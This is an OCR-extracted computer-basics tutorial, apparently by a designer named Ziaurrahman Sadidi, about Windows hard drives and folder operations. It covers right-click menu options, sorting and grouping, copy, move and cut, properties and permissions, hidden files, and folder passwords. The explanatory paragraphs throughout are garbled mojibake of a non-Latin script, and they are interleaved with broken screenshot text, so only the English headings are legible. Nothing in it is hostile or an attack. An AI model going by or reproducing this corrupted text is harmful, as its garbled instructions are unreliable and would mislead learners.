Hard Disk.
L egnll 5 2 ($3 digidy MSHuw s Swny ). dliwg 9JgS 0)u55
AaBD  (Soud Jabve) 0)uw 93190 b lido 5 gl (S9 92 A5
Ologleo (Gab Hodiy) Gablud 5 L oS disSamd 2y gigrigssas
(S90 Ao S 923 3Sraie 4y S g 4y (599 5 Dlogleo (5)S 0)u>3
2L 3 ((519b gl ) Hw b lide 3 3« uublide (90 ixsS o
83535 9)9 3 S sigguinyd galine 4y Sumyd Siggw 3 (0 | 1) S sac
0w glgogleo o 9lgS Luublide 5 g5 3 gl o) 9lgS Huublise
D& (5309 57 03 ding 420 9l)2 )b HigusaS 5 . Jiwg) digaac
3 0)ld 9JoS S)> 5 gigSuund 3 (g oIS / gliwg) 3 1 (5)) digSum
8>3 (Sod JpF S 48 (319 4y Joi «(5xiSrw )lado p 9l c9)iso salys
cOpunpw 9JoS @) 5 45 gigSuny dlusy .5y (SVg> A5 999 3 AigSun)
oS g21) 45 6JgS 0)u>3 Ly LIS HigueS 3 o kol Suwy 2)le 5
SxS JoyS o)l

Hard Drive type.
{1}SSD{2}SCSI{3}Ser|alATA{4}Paral IATA{5}harddisk{6}NV

Types of Hard Drives
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{Jel=>1Drive
il Ologlae dad Sumd 3 2 duwg HguaS 5 - (941)2) 921 Suwn
(?53 Jd I)..Sl g,gl),) 695 d.a.u}l).) H0 91 695 0)u>3 o) 9| d.ignl).fg),_g :d.'\g..l,!l_é
oz S L ol((shlg red Sao Sl 9al)s 5 guoliw) (5puS 221) Tox) S
2 B R0 13 9)S 19> dg)Me9 Judu b ) euwdl Samd)ls yige
990 U (53 glialyy sliculyy sdicubyy Gw ad alg ubyy b alyo
990) 12 99 19> 992 Ol (5315 ulhd b by ol g Lol po digeg)
dlS 2 g0l gl (59 S alyd b )agd b dSils divgs dly> 4y Wileglas
8 (5259 SulS (533 laaw Luis wgao 15 3L bbby o2
L @-o oS L_,..»i,,; o2 o 6395 g liw 83 {5)Sg SulS (533l (@JL'-U)

rgenize et Mep network dive -
¥ Faveait :
B Deskiop Local Disk (E) s Quick mct Open laf > |
& Down L —
e Opinin
| Res > - Dnin | DW c\r:‘ r
i to Chck o
B This PC & Tum on BitLocker

Libra 2 Dd di

MMMMMM J §h. B 30 Ojec = L "
3 ./ S B Desitop

mmmmmmmmmm

Scan with Winds
Gove sccess to
Rttore proribess
H M v  PintoStat
s ‘e e
& com L Devicesd  copy 4 g5 | o5
e U
w % Comeshonor 090202020 pa
L [t
R - - y
\ W 1 Rename a5 mis
L ie Properses
-

.........

Decuments

My computer in the folder make.
S M99 (595 E5)lee guwli Lz Sz a0 13 U 5 el g 9> Hag9 0
4 )088,65)S 0)5€ ol £5)Se SulS Ly thsl}LJJL)PtSJSstdJ
o)l 399 3 c0)ld 9oy pgi 5.5 299 (593" 0w pgi Sluol 3 (s 0) Sy
£525)9 )Lind W ol £5Sg pgi (590 ENter.Suls (s5b il o 4 Lo o
S0 29> U )M99 guwliw oi £5)Sg

;;;;;

mmmmmmmmm

A Libranes
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Folder in the page one right click options.
9 (5259 SlS S50 i $3b 5 LI 4y il gy 4y gl 2 S s
y‘gww'y)ﬁybyu»o)&»uwlpmmgww
{1} view.
2 b 625 it Ohaley Gz b (5385 guls ans (il (53 i by JiS
d)ulg.;_c. IJL,JL.\g'(S)SL._AJLJ)J.bdeJwg lJU)L,QI(S)SUDQS
($)95 S NeaT ) 2 (25 iy Bl
{1-1} Extra large icons.
Gl Ol 09 O 4 gwliw 65 9)S Ll il 4es gl > dS jo
g0y Pl 1 G 0) S JSi
{1-2} large icons.
IS Gt gy U guwliow g3 9,5 Wlausl Guinl des gl > dlS s
co PlSund 1 s o) S
{1-3} Medium Icons.
JSi Giso Ghdgy @ swliw o5 9)S Wbl il des gl > dS yo
g0 oSy [y b 0)Sui
{1-4} Small icons.
JSad (51295 Ohagy 4 gwliw o5 9)S Ll il 46y gl > dlS )
oo LS s s o) S
{1-5} list.
LS ) gl 65 £5)Sg SulS (53 Gl (53 4y guwli 2 dlS Ho
i )8 JSudb g o 15 4y (5)ad oo,
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{1-6} Details.
@ 2yl b Hhades @ gwliw 63 9)S WLl Guinl 4es gl > dS y
S2S i )i bl

{1-7} Title. )

Oleic 1y Hhalgy 4 swb-w 93 9)S Ll puinl a€s gl > dS o
o SE RSB GS O9)> U d)ga 9l 4SS JSub

{1-8} Content.
USLJLM L VMg 4 guwliw g5 9)S Ll Guinl 465 guwli > dlS Ho

UI)*SUUSOP|9“JbU>q-LSbu“’L5L>)JL5bLJS~W‘UL>bJ|)

(S9 (S5 diisal)
Folder in the page one.

right click options.

— {2}Sort by.

= b plidyl e S Guinl s
Sl b b 4y agi 1 EETS o2

Ohagd Lol 999)> b bl 4y
S B s dighle L o

{2-1}Name.
Q&opuh&u;@w@ygﬁubw|w|d;39mbu>dls)ﬁ,
o d)d Bl 4 agi 15 lhadgd

{2-2} Date modified.

K ng.lJLQ g| u|),;J9JQJ9.uJLuu ¢ 935 Vil puiml 4es gl > S )0
3 595 0)Suis o )l

Sl icoms

zzzzzzzzzzzz
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{2-3} type.
2 b 9iglgy b dig) Mgy gwliw o3 (5)S Ol Guinl des guwli > dlS)o
uwdbﬂéb¢uﬁﬁﬁﬂﬁwi
{2-4} Size.
02> b 1301 13 gaolins @ 13 3 (538 bl Gpadul 463 9unli 2 4IS s0
o 0 3 ul,.i....ug 1> iy (595 0)Sub dighlo gl dig) Mgy gl @y (o aJ
EXE
{2-5} Ascending.
d ighlé gl Hlyales 4 guolin gi (538 il (gl 463 guali > dUS 50
595 0)5ub 1 (5)5) LT (3 )3 55 Jol L bl 5 a3 sl
{2-6} Descendlng
6292 S )3 Bl d 4y guoliw o3 ()8 il Guinl s guwli 2 dlS o
$9S )8 9uwli A ol duz yuw gl 3999 )> A yuw iy

i W

/R3SFR

DESIGNER: ZIAURRAHMAN SADIDI
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Folder in the page one right click options.
{3} Group by.
.bL)Jd.JL_g)l.Mlb.bL)JdJ(agJ |JMLPQ.LAJJUL.A.LUI)9JL,SL}.Q.U|LSJQ
13 5l LS iy (S B S5 Aghlo Ly ol Hlhalod el 999y b
585 )15 Hlivgs 0)lg
{3-1}Name.
dgéo)gﬁgl;&uugwgmbugjgﬁu&dlU@uldiogmULpdﬁp
dedwbwwﬂbwd-’ﬁy l.)ub,ng.Q
{3-2} Date modified.
1> dighls ol Hl)ey 4 guwliw g5 9)S Ll Guinl 4y guwli > dlS yo
595 0) Sy e )l
{3-3} type.
3 b 939190 ) dig)aloy ganlins 93 ()5 Ol crinl 48 gusls oz lS)o
wdbﬂdbmwd(ﬁ'ﬁw
{3-4} Size.
P.»L!LS)I.)Jl |)9wh;u®13y6)5ub_u| u..u.u| CLch.;.ubyd.lS)Sb
) Fro ) L_JL.S..u.ug 1> iy (598 0)Bui diglyld gl digy gy guuli @ (o aJ
o> QL
{3-5} Ascending.
d dighld gl HhMey @ guwliow 93 (5)S Ll Guinl des gwls > dS s
595 )5 ) (5)90 LT (3 )T axS Jol b bl 5 axz
{3-6} Descending
5392 1 5 Bligy 4 @ gawlian 83 (638 Ol (il 463 9l 2 IS 0
1595 05 9wl & preds duzpun ol dig99)> duzpun iy
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{4} Refresh.

dS ) 9ozl (50 Ma3 2 Lz B 09 Ghig yge Hldnl Jei yed (533 1
Ologlas guwli Jlgo gl b i ST b pusaw yigsseS suwli 2
S oz 1ol 299 (il 485 9wl 93 65 0)Sub 9> Jolg U jigapeS
03 Cau> 3 ol 15 iy (5545 0)U yigunoS oy
{5}Customize this folder.
Q E9u090 |5 (5)S »usd JS )99 15 2 9§35 y90 Gyl (5 4
2o S Juilyey g
{6} Paste.

(59502 )2l 4 9103 oz (83 Jas 90l 3 gl pisw ldos g2 Gy
59219 U B Dol xS B S s gy dd i b ghaleo b b o
6))!dJ Sl liuing ) Wz 3 4wl > 90 (D SIS gl (Sl 4y Jlio 5
Al 9 9305 865 Gy 05»9@ 29 Q1 gl (6 IS (sou Uy
2 Sil ol i )3 &S {Ctrl+V}

{7}Paste shortcut.
B o) 15385 b iz 4 2 15 2 (5919 Jel CSold Gy b Gy
$9S

{8} Undo Rename.
b s gl aS ¢5)S Ja G pgi hlo Lol By b (s oS gl
es)lofCtri+Z}

{9}Share with.

Gb E ghlo b )g0 b slgo pgS 2 i ($39S gl sk Huinl ($s 4
il Lg)S dLMl 5] L5L> o dsd

* Documents

Refresh

W Computer

.............

---------
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{10} New.

(S5 292 )N99 Fon liSuuad 15 2 0 ($39S 9wl Sk Gl (0 4
03 Lhlg y90 Sio o2
{11} Properties.

03 3sidygy > Gl ya 15 9> (59S) Wlogleo )99 yg0 (3L Suidhey
o 290 ol gl JoS i S ) Wb iy

N DRAW X7 Graphic
o ; Contact *
»
sely 'y How to folder, file to folde
4 % Corel PHOTO-PAINT X7 Image W r ) I r .
G b ¥
e 8% Microsoft Word Document
Refresh

k £ Journal Document tran Sfe r
Customize this folder.. Microsoft PowerPoint Presentation &

L5258 02 4 o2 9ud 5BgS S
e 1S Gl Ol pgS S (53 4 b oyw Jilo

295 4y 9uali Lz IS 3.y ddn (5

L o5 (5259 SulS Olow Lawv (533b d0n 4 95 Sl Jpud Hded b Hluds
Bz 30 52 Salot 9l 45 Ly £6)Ss S (s33b () @ bl (5353
alo€ Jao 4 (g Lallor oliSuund) G b ol (59 )alsd s 40 gy
(523 0) S iyl 93 92 i 0l L 63 £6)S9 SUIS (5L ol uid o5
o 23 4 Ol gunliw o3 099 il () sl S 420 4y 2
SlS ol b Oluw Gav Lo dida 95 (59 o @ dida (59 dids ) e 9
Gabao ) Ol gaolien 93 ag9 Gl Cabay adl) (533 Ly o5 93 (5259
SudS Gl o5 salo Jpdd Slgo oS guwli 2 dlS yo ddyyb dly gl i
b Salo Jag 4 S5 »o aS Lo (5)S ol Guinl (D)L ol (5259
@ g 0 3lge guliow g3 £6)S Ll Gl (Gauw) W (5259 SIS

s T T —— S

G v/ » Compute v SOCARDEE) » w] by W Search 0 CakD 1 3
1 € Oeganize > Shaawih > M folder =~ M@

T Computer
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ol ) G S5 (5o v Ol Jgi iy (535 L i slge dils S (53 9>
9 $34) Ol 2 (6)3 U S Wl

What is the difference between drive and folder.
525 Jo)lS o)l olgS 0)u53 gilogleo 3 (2 03 455 092 YigauaS 5 aalyo
SB 4 5 S 992005 4y dighld SHD F (5347 03 0)u>3 d2d )2gd
o ($3S el YigrsaS ol L (SuS

A Bock - Algebra_Test_Prep_Rvw.pdf

8] Math 045 TRIGOMOMETEY Alnwae dars immsicesaiNeootWiod|  Send to File Organization a

@5 UNIT1 1.1 (First Open i erocoft W :

@ Unit 1 (Proofreac Edit licrosoft Wor o " e

8 Unit 2 ( new 2).ds New flicrosoft W CUt - : P 5708 tee ot 1

@ Unit 7 (4rd).docx Print licrosoft V r 1 .

@ Unit 8 (3rd).docx. ] Scan with Windows Defender.. ficrosoft Wor Copy

@ Unit 9 (3rd).docx & Share ficrosoft Word [ | [
Open with... paSte Windows Program: Et:(;:n;:gs =
Always available offline |
Restore previous versions Delete
Send to ? :

Rename My Documents

Cut
Create shortcut
Delete

Folder right click menu.
93 (5259 dhawly 4y Juge 15 SIS Caly (533b ) Mg8 @ gl 2 dS)o
o> 9 455 Llaz i d) Lz b o> LilSeiue il 95 ) gasliuw
59 9399 S 2igaunS slo b (59 )l9d Froy LliSimny 3 4 9> galg il
($9S 4 lg,

{1} Open.

L (59,99 &S @ guwliw 93 (5)S Ll Gl 4 gl > dlS yo
b pod> 4 oy umﬂ S 4 (59 93901S9x H93 uwls b 8.l

@ Shipping L
@] blood pre:
(| EnableHot 1-Zip
& imagex @B  Scan with Microsoft Security Essentials... Applica
A Hotesfory Share with
i} wingdeskty : ’
Restore previous versions
Include in library
Send to

Cut

Copy

Paste

Create shortcut
Delete

Rename

Properties
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{2} Open in new window

olS {625 0)9€ SS2S (599 (59 LS 2w A SAS V)9l 3 guwlinw Logac |
suwli dSg3 ogac dy xSo (5o xue5 S sigyjoln saline dy b (slauS
o ({57959 ) luizl 93 0)ld oliusilyy (,S)S (595 ol sliuunsilyy g iz (S8 3 W
Q)93 (il 5S2S (S8 3 59 Eaw 03w 9Ll gulicw L {5)S 0)5€ A yb
¢5259 )il o)l glgS

{3}7-Zip.
7=930)Sbguw gl 93yl 515 .55 U= psidlw GuinyeaS o 9 95 5 )
DR o)l Giwyo 3 S 9JeS 0alw 9lgS 0)un5 goliuwl 3 o)l 95599,
75 9l 9J9S GureaS 93shils 938 3 ngidluw (SebZ glg)y 3 S o)l
S5 Sawnd 45 0 t5)) L)l 90l 45,59, i Gy eaS 39) 3 0yl
D oS n9islw 15+ £6)S Sl &y yed ighld Jus b £5)S (53595
L3 CUQJJLQ wlwz S35 S S L)l 0yu grwwgs

{4}share with.
Lig 15 45 9859918 7 joaizg
Q digy M99 ol dighls (= (5959
Q b o) 15395 9l 9)Sdo 3 S )eS
SVESWEILVC IR SVER
)9S 3 )igiaS guoliw 45 .(5)S
SISSE 4 b xS () ig)S
159 Juo9 0)u (1099 S A
T G (§3uS Sy dighlo gl )99

GU-E
Organix )
................
- |
& Dow
| RecentPlaces ||| Users s
............
Metworking
*| Documents Open
o Openin
i) Pictures T
B Video Share wi | G Mobody
Restore previous versions || Homegroup (Read)
o& Homegroup Includeinfibray M| Homegroup Read/Wiite)
Send
& Comp it
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RRRRRR
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{5} Restore previous version
gl )lis 9lgl) Lo 3 gouni guilemy 3 9595 45 dige) Ly 95w gl
L 200 Jald 5 2 poS E50909 w3 4 guui giileg (5953 o)l
aSJ sl ONEDTIVE 13 555 Jlons s a6 5 ol (S9us (53395 I3
S Lud 4 5> (2SOl O &5 dda 5 Silise S 3 @ Jec
5 59 (52S rdyd sliuwl o3 by 6 4S guls Lz dUS )b iy S (SNig>
U 02 (53 A juinlygy )algd ol i 6395 Sliwl) yp & 5 52 d
g ($¥9S diliwly Hlaud (S Gl

{6} include in library.

159 V> 63 (5)S 013 slwl S Hag9 (b 4y dijy goliwl 5 Lo gl a8
O9iud (5)B 95 93 41 .£6)S WLl S HeiliS galiuwl 3 1 ¢5)) Lyl ganls
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Share with 3 Undo Delete Ctrl+Z
Restore previous versions I}
Share with 4
Send to 3
= 5 2 Shared Folder Synchronization »
C
i New
Createshortc5 - 1 e e A ] 5 = l
Delete 5 o Jlga gl Jo5 il bz Properties L\\?
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{7}Send to.

LIS 55258 b - 5aled S5 0iglld 5 b - b (5653 03151 &5 gunls I
9539918 J9dizg 3,859>)S9 )3 dly> i )algd Jjio 420 2 sV Ay (6)S
0wyl Oldae (Jlo oolw 0w ilwl 4 2 (595 giez 5)3 dilwl o9 0)LJ
5 ¢ )99 goliuwl 5 ol Ol aSJ gigyl5 5)99 dig)aled b dighld ol (5)S
)3 A Dgigh 5 & gluwg b s2ly9 9)95 i ol dgSulisiinge Lo 00
b ssiuwly CD/DVD aSJ 50s ginz ipals Gllayy g5 g .oBleSl
duwd )5 GuSO ¢ g « Ol « ) M99 (o4 L)) (Soubs uypaS
13 ol ¢ & Gy (2 90U 2 9l)0 daand gl S39S Awd )i Juo « S5gS
(5259 039 diwg)g 9lamal gigSuliiiige (o (a3 3 4 dig) >

Sl {A} Print

Open in New Window

Share with

Restore previous versions ’ U> KJ"uJ (5295 g‘ujb l_g‘l‘)b L)"u"")l Lg") CU

) Scanlntel
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| Send To Wl i, Compressed (zipped) Folder
Copy To Folder... B De ktpp( tp: rtcut) o)l-{:-l 9-'95 ‘7)[.? ) 439.) q:g u.)).? ‘)JLQS ‘L’)g

Move To Folder... Fax Recipient

E M.ai!Recipient 9_'95 d) )LLIbIJ fS)S Lde-\-LJ (Q.Q CU9-IJL9 )9"

E:;y Windows 7 x64 (C:)

s Back Up (D) : T o X -
Create Shortcut o3 D::[)F.\:Drrve(E:] d-’g-og) 9-,9-1-,-[-9 J 0)L¢..| 9-]95 L‘.')L? J O)J.JJ
Delete

- e saskis Sl Ul .55 st
Gigas5 16 (5353 Jsi ol pos Jb isSino
ww 4Ll uS solboa

{a}Copy to folder.
t59.Al9 dJ)n\Jg.Q JJ '._JLog.lsbo dc) o U.uJ ,52959_,_,_,[_, GJUI-’ U-‘U-Ul (S @
69&5)5LJLQ4J|wbmébegs&dgmddaubglmd_c.)m@d
e | S9 e L Ll

Fie Edt Vew Took Help

- 8 (%
{ BER
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{b} Move to folder.

Ologleo dils = s3bd t?g)‘lgg 2 B9 9> 595 1S delod eo (uinl SSQ
9 Dlogles

Paste(Shortcut-Ctrl+V) vs move.
($9S CS)> G S5 b a5 B g2 d) i 90 18> (aSg5 4y S o
)Ng9A ) M98 dB). (seub RIS b S Lz S S 0)l (59 3 iy
b 1SS S S 5S4 Ly Sol

Copy(Shortcut- Ctrl+C) vs move
o S SB B ol 635 19> J85Hdgd b Jld (sous JSUi 5 - JoS S
Jr a3 15 0y dl )adgd b dighld Lol - JoS wS)> .i6)S sls 4y s
¢ (595 93> )Ng8 b Jbd Slol =S)> . (e5)S Jn Uxie) Jgapd G s>
(595 dizizoly J&5 (B 2 S Jb sl

{c}Cut (Shortcut-Ctrl+X).

o0l (58S (S A Lumbgo Glol Ji 5 Lily (seub JSU dileS S 5
o JSU S 9igdll> g)les 4y 159092 &3 92 JilaS S5 2 S U
1y 453 )9441S 5 ()93 sl (5348 il S 0453 dllgosid 4 il
59 590 )dbo MlaS Gy 3 2 S1z Spl>ls Ly ding)g

£. » Computer » Local Disk (C:) »

View Tools Help =]
rl+ ¢ bh’”}' . -
o
Re Ctri+¥
......
L 4 ::::rnn\ window r t q
e Ctr“x Intel e Shace with . B F.E:: ST,(
Co Ctrl+C & snaght »
py NWDH Pestore presious versions
Paste Ctri+V PerflLo =
Paste shortcut Progra ut
o,
Copy to folder... Progra =
Move to folder... Progra resete e
Temp T
¥ Select all Ctrl+A Users . T Opan folde
i Invert Selection PV potymeLooon ot
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{e} Delete

95 9wl «£6)li Lyl 45 ) g0 b oo 595 9003 o2 £6259 0250 gl &S
A4S . g5)g 3L ) .£6)S ASL (69935 (5)3 A 9lgS5) 3 S NgaseS Ju> 4y i
4 L=olg 1 ¢CS§L—"J-'>>)4199b&b%éjgwgéngﬁtﬁﬁ
O ISl 3 Esg 4 EBg jeaing-sed Jiwnl G o JSoluwy) 3 1y . >
259 Juz gl 4y ) )e0 b (hlo a9 5 guwli dS )So «(5oSLy dighlo o)l) 4
U & 1959 2 Ly HSao 90l (59 (625 93> 2 guoli 2 E62S JW
4. 0)ld 9lgS a5 9lg>)S1) iy Hago b Lo (soub B3> 5 .(6)S dwd)S
)98 b a8 4y .6)Sg SIS dls 093 (39Sl (n JSaluw) 3 S ol
sl 2 Sz o joxig £5)S 0)9¢ o) Lo ol &65)S9 Sals ot S
$585)S1) Ay 9 (5)S ) o

{f} Rename, Folder name change(F2).
JsS 0)9€ Joda pgi 5 9l 698 SlS v 5 S b0 @ 0)F ALl 9lgiys
Sb ool agi 3 9l 89 pai (593 0)Ld Lo Jus 5 (i LJoS gl L .50
0313 0,2 1535)S o)l 9lo) pgi Jalo 5 66,59 HLino »il 0yl glguw) &5
SRy 6)50)950M9J956*5w5®u6M9Ju>F2)WuJ-5

" = | suppliers o ‘ = )9
| + » This PC » Local GliC) E
s o il Click

I Deskiop Ov-r;l

¥ Cownleads 4 prim
dit

- M
>
ith Windows Defender. & E

s E scan with Windows Defender

" This PC & Share

& Metwork
Restore previous versions
aaaaaaa
eeeeeeee 2 rettclick
nnnnnnnnn
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{z} folder and file Properties.
9Jod 3 Jgouds 4y «uuid 05151 035 93gald oJi 5 (S )Mgd (Sods JSU
S -(S9 dizxizol) )99 2 e A 420 1S9 19> 19y M g0 (€39
Q¢ b juid 3 93ghl0 8loT 3 S Halgd (e JSU @ iss Jolid
ey )28 (Sais JSU 3 gm0 ) 2la8 3 530y a8 (£ oloi 3 Joadd
3 eSS Jaiw eo pgd 4 Lo line o o2 AigiaSde galiwl 5 e 03 Jlo
Olrwdgl S 5 3 2 L (595 S 2 (53 Dlodgd o)l 4y o
32 ST IS gl igaud90 igs JleS 5 wOlgic aS (53 Jolid
oy 5 4 gigiSlo )algd b hld 5. 35 aSiliso b £ordg0 xiaw
E = £62S 0)9€ AigixSdo gl 5259 SulS Laab S 20 43 < o)L

o [ 2 4 o)l oy 5 6 gigiiSle (63 5 (i oS sl
v W Goges ouSy Sl ainl 3 559 <SS 53l s 2lgs
B 2 )98 b Jald 5 aS) (6553 Wiloglen &5 gaoli 4y
Crosto Shetcs dlgods L Suliiings agS> .0)lal L 03
(59D dixisol |_)u>d.+udsm.9| (594D i)y 0yl

{1}General. w3 gl (Ol Giwg)g

9wl 2 (S (69959 @B LgauSy S 3 S diSub ) ,5)S > A gl
S35 a8 oliwg) 3 (S3lgy -£6)S o b Jiwg) (S5loy Jald 53 o JsS
QJ.)J('-\QS UJJJ.JJJU.u.Ul.))S.D umdmuabo)uymu&w
420 4 Jld sous Gy (6~)‘*Su*‘-*’t5~)‘-‘9>k59susc5-)qjd9“—‘bu>
|-3u>t5}’->t525)9|)-’u$’w)v\]9-9-39-“’L’u>dlsu-‘-'-‘-’-)-*s)->‘—*‘-"9
5ighld 55y 3 guoli Lz (53 iy okl . Seid Aoy 03w olg)lS 4
d)ngbls(dam.)muSprLg.)m (SAS(Q.AJQA)))MlO)Ug.J.)QMJ
e o Jogub S S5) Slivg)y 4 iy
' LS)J‘LJ*JUJ‘W}"dey (>090E

Properties
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{1-1}(?)Ready only.
9 - dode S)lo 4 (3L Gl ($3 4 gl 2 U0

Type of fle  Microsolt Excel Worksheet

S 4y 18 1y 5 2g8 gunlins o5 (Sals dodle amso

Location: C:ADocuments and Seltings\FCIT\Deskiop

Sitw 165KB [16.8% bytes] (Q,Q CL} (5).5.5 O)lS.uJ 9' (Q.Q CL) L.S)'.‘."'Dibgl 69.5 c&.ﬁ

Seeondsk  200KB (20,480 bytes)

Ciested  Thissday, September 02, 2004, 7.38.25 PM {1"2}(?) Hldden

Modfied: Thussday, September 02, 2004, 7:38.38 PM

Accessed  Today. Ape 21, 2006, 11:55:22 AM Q.O)l.c J)LO d_‘_e 6_1_)'_) M' LS_) (1_) 9_;4)[) U> dlS}Q

B a OliSanss 15 4 Jal6 b )2g8 ga0ls 5 59209 12 90
L) ¥g9 guwliw (9 U G0 iy ($9S 0)Suis 4 Fro
{1-3} Advenced. JLo
O pe0S 0)ld H:gd b (Lo 5 953 £6)S9 SlS (5iT (69 4 & LS gl
sty S5 ) S sib g)mgmwubyags 55 Jlesd

J*

Genesal | Secuty | Custom | Summary |

General | Securty | Custom | Summary
oy !E* Choose the options you wank for this file.,

Typeoie  Microso Excel Worksheet Archive and Index attrbutes

Opens with Microsoft Excel [v]File is ready For archiving

i A waTs o T [] For Fast searching, allow Indexing Service to index this file

Sige: 16.5 KB [16.896 bytes)

T
S i 2 115 0 Bk Compress or Encrypt attributes

[] Compress contents to save disk space

Ciested  Thussday, Seplember 02, 2004, 7:38.26 PM
[lEncrypt contents to secure data

Modhed: Thusday, September 02. 2004, 7:38:38 PM

e =) {1-4} Change
guwli ig5)) Gropwd €6 giginSdo o)l (L8 5 guwli oS
LB 15.86)959 B i VeIV I LS Hw 4 LSS S W
5z e d iy b (s34 Jo)lS 0yl slauod> o 3 0w pliSo) 02
59 69-“-‘ JSG G (Lo &g lo>d jo9aing

General | Secunty | Custom | Summary |

| th s o]
Eﬂ ] Choase the program you want to use bo open this file:
T Cost

Fle: Costods
Programs
Typeof fle:  Microsoll Excel Worksheet
{T) Recommended Programs: -~
Opens with Mictosoft Excel jémme:
E Microsoft Excel
Location C:\Documents and Settings\FCIT\Deskiop &) Other Programs:
Size 16,5 KB (16.896 bytes) @ adobe Photoshop
Phot
Size ondisk:  20.0KB (20,480 byles) ; Adabe Photashop C52
. Authorware
Crested: Thursday, September 02, 2004, 7:38:26 PM © Aicrin®
Modfied  Thursday, September 02, 2004, 7:38:38 PM © Authorware Working Model
Accessed  Today, Apd 21, 2006, 11:55:22AM : Debarimbing ¢ A

Awbutes:  [JReadorly []Hidden

-
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to ke B a folder Por pe rties Sharin 8.

b S R W e | ) g0l 93 ¢ £6)9S digiuSdo 0)ld )99 3 gl aS
el 0 G195 90l 2 S 862959 td sloSord 5
S 2 (62 il aSgi a4y ) g0 Supd 5 )98

o 5MS oy o) )93 5 5y A S

R Tab.
= 1y .6 o Lalizo 093 " A" US).JQJJASCU
SEEEEEE | a5 (5155 (2 kS oS sS4 (1S
0> 5 gunli digdd. (5)S9 42>l po G S juw 2w
£62S U iso )i by g b ¢ gigaiw Nz« gig)luinl 5 S Aol 4y (5950
S S5y alino 4y dliyy 4 9igad 9)83 3 Bgano A (Soub 0)5¢ Jlgo gl
9394 3 S pw 4 939y M99 8 30393 3 9Bl . (Sgw diling) b (553
Jad diss u.LJJlS Jolo o o A aSd ¢ (goub (e o)l Jllg 45)9 0puw
{3}folder and file and drive Porperties Security. S5
£62S 22 ) M99 gamw j9g S iy Ngidlw 3 (5)3 d JgyiiS 39330 5
95 {6259 SlS (533l abd b 8 b )algd 4 unli 2 dlS o i
L..g?ﬂ.;;l,g,)dgdjgl&s:).ﬁ.aobbdjd.pgmb;u

{3-1} Group of User name.

USJgJLo.Q.;.:.Ul L g,,,ugSl )l)g.: o2 Uu.a Ls)',gS 9.u.)lJ uS u.u.ul LS-‘ LS
L_.,bg L.:S d>.0 (<81))CU )Jg.o U} )l)g.\ R lJ L_)Lu.\.> u)ls LI LUAJ95|
59 093 b oSl Hlien ou b L=$)|9=? Ca>g 0)iS] yg0) 95 (5)S Ll (6o

|| Leamabout access comrol and permasions ‘

o] [ coance
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{3-2} Eidting.
LBl B L He0 Lo b ($39S 9wl LS il Conl b )
1S G w5 () SI> )i ()le¢ 9l > poS (51
{3-3} Permission for system.

Ojl>l i )i a5 0)ufg b )90 2 b (535S sl S il (53 @
ol Jeilyd Jauodsanl a8d LJgS)g i 4 o)l e ol b loS)e
)95 il

{3-3-1} Allow.
S9M9 S Lode pusuo b S)lo Sui (533b Gl (53 @ guli > dS o
SIS )8 2 b (39S 90l 95 (59 aabyd b yalgd b Lo S gunli o3
03laiwl dx )9 )lS iy b (55l ogS A juy o S5 i 9l (5259
259

{3-3-2}Deny.
S99 S» dode o b S)lo Sud (35b il (53 4 guwli > S yo
NS 20 2 (535S i @5 9l 93 (S o b yadsd b Jilo S gunli o5
oslaiwl d55)9 )18 diyy axd (il egS d juy @ So> (b 9l £6)S9 9
el | el a4l el 44 i

Permissions for My Pics Beg

chick Advanced

Leam a0owl accass Conol and DROMETIONS

L ] (g [ Ao ‘_

———— EEr——

| can folder, file, drive, security remove.

o s9als > ilazy iy calhdy b L8 b Wb 5l 2 (5)leé oS ol
Solg Wpm 453 45 (saan 4
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{4} Folder,file icon change,Customize.
L NS b HSol oy LS |)U>uu63959wbusuuu|6)m
&3S JN ngai 5 Lo
{4-1}Optimise this folder for.
ulzult_ggdxpg.@_ld.Jum(agSyung)!gngbUSu‘mh_chu
5080 191 09:S)gu0.CningSly by sliwwl aS) 6)SUJ
{4-2} Choose file.
)SubqulilQu:UngﬂgSgwb,_.,Sumh_g.)m
{4-3} Restore default.
tSoalg G Cl> Gilgsg iy 2 0 (5395 9wl 3L Gl S @
{4-4} change icon.
OSal b caly bublg L )98 L2 b (5FS suli sk il 55 4
S ez b Jv peal

Gﬂ'walSl’:all’\gSewtyOJs!unuse

What kind of folder do you want?
Optimise this folder for:

Browse...

e Select an icon from the kst below:

v
["] Alsa apply this template to all gubfoiders @ J - ._,.-}_ q,, \f‘ ___‘; 5
Foider pictures | ; (_ 2 j"
Choose a file to show on this folder icon 4 w ’ Q 'u
Choose File, = ﬁ""“"‘ J )
\ S
Bestore Defauk | )
D \g -X *’ :li:d/ b 2 E
Folder icons |
mmemeemizaeee= | (MRS QNSON ] _
| Change con... | ] | <

Restore Defaults | | oK | Cancel

How to view hidden files, files in Windows 7.
2 Uy 2 aales Lwol 0)S d Lo b )9 yige S 7 S5 S
o 93glld 5y 3 S 7 j9aag i9)S 0)\Suis Froyy WliSun 13
3599 9353 (S9i Vghild > (S NigrpeS 4y guwlinw 7 jeaing. HlsSiH>
gillac )igepaS a3 b L9S 2 (625 (SHg> 45S 9lgS B3> Ly uo)S
0 pus)
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5195 )18 a3 i Jole 5 dighld G (S0 (525 didizol) (SHigiw

3 digi>g Lin> )0 .($3 Gy Ughlo s o)l Juds (5300 3 9l (83 g0 o)L
195 )i i Sildec 3 9555 (5)) (e W)l &5 glagun 639blo o1
2 Yoo ol s)g Lig )l 9)9 doivo d pagllo 5 by pausdd (S)igiw

S O YigreS Slo 2 Joliga ($39S 13y 939)098 953 995 (55l

d Gl )aed S give Cyliw 2 299 9le$rB Gl 5560l 4151 Glgic
3

Ol i JopiiS O o)liw-1
)l b puinlypge-2

s3b Gl 92973

|L] Layout
Folder and search options |, [

|||||||

2 LS 15N Folder Options &‘

ettings
q 1.Selectthe View Tab [
| = B Credentisl Manager Advanced settings
@ oo @ Desktop G [ FdesmdF:Mers
5 [
a: ;l 2 Selectthls Redial Box
J] & splay

o o hddenfiesfcddefs and drives
a etrwd esmheComuea'foidef

itk & & afle
> £ ¥ AT

i 3 Click the Appfy andOK B~
U

& @
s EX AL BE

How to Password Protect a Folder in Windows 7.

2509 9wld & GOl Foy OliSuud 15 ($iley Yyige Se o 4S5 aSd
4lod 95> (535)9 2ewld 4 Jald b )aled yigssaS slo 4y g)lsé Lugl og
doxS il d 63 (59 U S igaraS Lz a5 al)Soy 13 ol 03 alxS)sy s ling

ol 09 ()3 dJ 3uihoy (2 92 e Ng> ) M99 9> b (IgS doligs o
g (9S00 ()3 A Hliing (2 dargs
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>0 92 4 9uoli dS.MgSins 9lgS (309> 599 35wl 3 S T Sediag 4
